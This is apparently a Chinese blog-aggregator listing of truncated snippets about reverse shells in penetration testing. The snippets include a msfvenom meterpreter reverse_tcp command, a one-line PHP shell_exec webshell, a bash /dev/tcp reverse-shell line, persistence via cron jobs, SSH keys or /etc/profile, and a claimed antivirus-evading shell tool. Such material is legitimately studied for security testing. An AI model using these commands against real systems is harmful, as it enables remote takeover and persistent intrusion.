    今天回顾了一下msf反弹shell的操作,在这里做一下记录和分享。( ̄︶ ̄)↗ 反弹shell的两种方法 第一种Msfvenom实例: 1、msfconsole #启动msf 2、msfvenom -p php/meterpreter/reverse_tcp LHOST=<...
  • 内网渗透-反弹Shell

    2020-07-07 16:22:31
    反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色...
  • 对linux服务器的渗透测试过程中,我们在getshell得到一个低权限的webshell后,由于webshell是非交互式shell,通常要反弹一个交互式的shell,然后进一步进行提权。那么,什么是交互式shell和非交互式shell呢,他们又...
  • 渗透之——NC反弹CMDSHELL提权总结

    千次阅读 2018-12-31 14:54:05
    不过这种方法, 只要对方装了防火墙, 或是屏蔽掉了除常用的那几个端口外的所有端口… 那么这种方法也失效了…. 1:通过shell将上传NC和CMD传到站点目录下(这里一定上传的注意权限,最好是可读写目录下) web目录都是有...
  • linux反弹shell总结

    2020-02-23 15:10:45
    本文总结了Linux下常用的反弹shell方式,同时说明了交互式shell的得到方法,最后积累了反弹shell语法高亮与tab自动补齐。
  • 常用的反弹shell总结

    2020-03-24 19:01:06
    nc反弹shell 我们已经拿下主机的一个webshell,我们想获取一个可以直接操作主机的虚拟终端,此时我们首先想到的是开启一个shell监听,这种场景比较简单,我们直接使用使用nc即可开启,如果没有nc我们也可以很轻松的...
  • 反弹shell

    2020-04-03 11:31:05
    嫌疑人:192.168.249.147 受害者:192.168.249.130 这次的主要目的是模拟...phpshell_exec($_GET['a'])?>,用以命令执行。 再在嫌疑人网站根目录准备一个con.txt文件,内容如下:bash -i >& /dev/tcp/19...
  • Linux反弹shell

    千次阅读 2020-08-30 11:15:32
    Bash反弹shell Python反弹shell 其他命令反弹shell 写入命令到定时任务文件 写入SSH公钥 写入/etc/profile文件 当我们可以在远程Linux主机上执行任意命令或写入任意数据到任意文件的时候,我们通常会通过以下...
  • 本人自己写的反弹shell工具,技术有限,目前只能反弹一个shell,还没深入研究,不过提权过程中一个shell足够了,毕竟不是远控管理工具。 最新版本的,确实是免杀的。 话不多说,看操作: 第一步打开服务端本地运行...
  • 常用的一句话反弹shell总结

    千次阅读 2019-05-20 15:43:56
    常用的一句话反弹shell总结 1. bash直接反弹 2. python一句话反弹shell 3. python脚本反弹shell 4. php一句话反弹shell 5. php脚本反弹shell 6. 使用nc命令获取靶机的反弹shell; 7. 使用Kali自带的脚本文件...
1 2 3 4 5 ... 20
收藏数 2,471
精华内容 988
关键字:

php shell端口反弹